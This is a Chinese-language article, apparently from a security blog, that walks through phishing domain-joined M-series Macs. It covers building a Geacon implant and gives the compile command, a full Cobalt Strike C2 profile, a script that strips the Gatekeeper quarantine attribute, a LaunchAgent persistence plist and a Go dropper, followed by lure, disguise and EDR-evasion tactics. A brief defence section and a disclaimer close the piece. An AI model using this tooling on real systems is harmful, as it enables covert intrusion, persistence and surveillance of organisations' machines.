关于国外加域的m系列mac钓鱼
字数 1416 2025-08-06 08:34:54
M系列Mac钓鱼攻击技术分析与防御指南
前言
本文详细分析针对M系列Mac设备的钓鱼攻击技术,特别关注已加入企业域管理的Mac设备。攻击者通过精心设计的木马程序和信任机制绕过安全限制,实现持久化控制。文章将完整呈现攻击技术细节,同时提供相应的防御建议。
技术背景
M系列与Intel Mac的区别
-
处理器架构差异:
- Intel处理器:x86架构
- M系列处理器:ARM架构
- 导致传统C2生成的脚本无法直接在M系列上运行
-
安全限制:
- 企业域管理的Mac设备通常限制普通用户权限
- 手动添加信任应用需要管理员密码
- 增加了钓鱼攻击的难度
攻击实施流程
第一步:木马制作
-
使用Geacon框架:
- 原版:geacon
- 改进版:edit_geacon和geacon_pro
- 使用Go语言编写,可编译为Unix可执行文件
-
关键修改点:
- 修改
RsaPublicKey值 - 使用工具从Cobalt Strike中提取key值用于通信
- 修改
-
编译命令:
export GOOS="darwin" && export GOARCH="amd64" go build main.go
第二步:C2服务器配置
配置Cobalt Strike的C2 profile文件,示例如下:
set sleeptime "3000";
set jitter "7";
https-certificate {
set C "KZ";
set CN "foren.zik";
set O "NN Fern Sub";
set OU "NN Fern";
set ST "KZ";
set validity "365";
}
http-get {
set uri "/www/handle/doc";
client {
metadata {
base64url;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Server" "nginx/1.10.3 (Ubuntu)";
header "Content-Type" "application/octet-stream";
output {
mask;
netbios;
prepend "data=";
append "%%";
print;
}
}
}
http-post {
set uri "/IMXo";
client {
id {
mask;
netbiosu;
prepend "user=";
append "%%";
header "User";
}
output {
mask;
base64url;
prepend "data=";
append "%%";
print;
}
}
server {
header "Server" "nginx/1.10.3 (Ubuntu)";
output {
mask;
netbios;
prepend "data=";
append "%%";
print;
}
}
}
post-ex {
set spawnto_x86 "c:\\windows\\syswow64\\rundll32.exe";
set spawnto_x64 "c:\\windows\\system32\\rundll32.exe";
set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";
set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##";
set keylogger "SetWindowsHookEx";
}
第三步:木马隐藏技术
-
直接运行问题:
- 运行时有可见窗口
- 关闭窗口会导致木马断开
-
使用App应用包装:
- 创建合法的App应用
- 替换内部脚本为木马程序
- 双击App即可上线
-
信任机制绕过技术:
方法一:使用xattr命令添加信任
#!/bin/bash
APP_PATH="$HOME"
xattr -rd com.apple.quarantine "$APP_PATH"
open "$APP_PATH"
# 添加启动项
PLIST_NAME="com.xxx.plist"
PLIST_PATH="$HOME/Library/LaunchAgents/$PLIST_NAME"
启动项plist文件示例:
<plist version="1.0">
<dict>
<key>Label</key>
<string>runscript</string>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string>
<string>/path/to/your/script.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
方法二:后台执行编译后的脚本
Go语言实现示例:
package main
import (
"io"
"os"
"os/exec"
"os/user"
"path/filepath"
)
func main() {
currentUser, err := user.Current()
if err != nil {
return
}
executablePath := filepath.Join(currentUser.HomeDir, "filepath", "sogia", "xxx")
destinationPath := filepath.Join(currentUser.HomeDir, "xxx")
if err := copyFile(executablePath, destinationPath); err != nil {
return
}
if err := os.Chmod(destinationPath, 0755); err != nil {
return
}
cmd := exec.Command("命令", destinationPath)
if err := cmd.Start(); err != nil {
return
}
// 其他代码...
}
方法三:下载并执行程序
- 编写脚本下载应用程序
- 自动执行并添加到启动项
- 缺点:下载速度依赖网络,会有可见窗口
方法四:压缩包方式
- 木马与脚本一起打包
- 下载后解压并移动木马到其他目录
- 执行影子文件
方法五:PDF嵌入攻击
- 创建诱饵PDF(简历、工资单等)
- 嵌入木马程序
- 利用PDF功能执行恶意代码
第四步:持久化技术
-
启动项添加:
- 用户无法轻易kill掉进程
- 每次kill都会拉起新进程
- 重启后木马仍然存在
-
进程伪装:
- 修改图标和名称
- 伪造为iTunes等常见应用
- 针对不同Mac版本选择合适伪装
绕过安全监控
-
行为监控绕过:
- 避免直接执行敏感命令如
whoami - 使用beacon或zsh间接执行命令
- 避免直接执行敏感命令如
-
杀软规避:
- 国外杀软多基于行为监控
- 企业级监控(如XDR)会拦截shell命令
- 需要采用更隐蔽的执行方式
防御建议
-
用户教育:
- 警惕未知来源的邮件附件和下载链接
- 不要轻易执行不明应用
-
技术防护:
- 启用Gatekeeper并限制仅允许App Store和已识别开发者应用
- 监控xattr命令的使用
- 检查用户目录下的LaunchAgents项目
-
企业防护:
- 实施应用白名单
- 监控异常网络连接
- 限制普通用户写入系统目录权限
-
安全审计:
- 定期检查启动项和计划任务
- 监控异常进程行为
- 分析网络流量中的C2通信特征
参考资源
-
Geacon项目:
- https://github.com/darkr4y/geacon
- https://github.com/TryGOTry/edit-gencon
- https://github.com/Leeasina/geacon_pro
-
官方文档:
- Apple开发者文档关于应用签名和信任机制
- macOS安全指南
免责声明
本文仅用于安全研究和技术交流目的。未经授权对他人系统进行测试或攻击是违法行为。所有技术细节都应仅在合法授权的安全评估中使用。